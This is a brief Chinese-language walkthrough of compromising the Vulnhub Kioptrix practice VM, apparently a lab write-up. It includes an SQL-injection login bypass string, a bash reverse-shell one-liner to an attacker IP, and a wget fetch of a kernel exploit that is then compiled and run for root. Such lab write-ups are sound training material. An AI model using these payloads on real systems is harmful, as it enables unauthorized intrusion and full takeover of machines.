Vunlnhub之Kioptrix渗透实战

Kioptrix渗透实战

1、环境简介
难度：简单
网络：桥接自动分配IP地址

2、主机发现

   nmap -sP 192.168.34.0/24

3、漏洞发现
访问主页面，是一个登录界面，尝试使用万能用户名登录

1' or 1=1# 

4、命令执行，反弹shell
返回一个框，ping目标主机，存在命令注入漏洞

kali监听，bash反弹shell

bash -i >& /dev/tcp/192.168.34.179/8888 0>&1

5、提权
查看内核版本，使用exp提权

确定内核版本后，尝试好几次，最后确定为9524.c

打开kali服务器(或者搭建建议服务器)

wget http://192.168.34.179:8888/9524.c

进行编译并运行

bash-3.00$ gcc -o 1 9524.c
bash-3.00$ ./1

获取root权限，并查看flag文件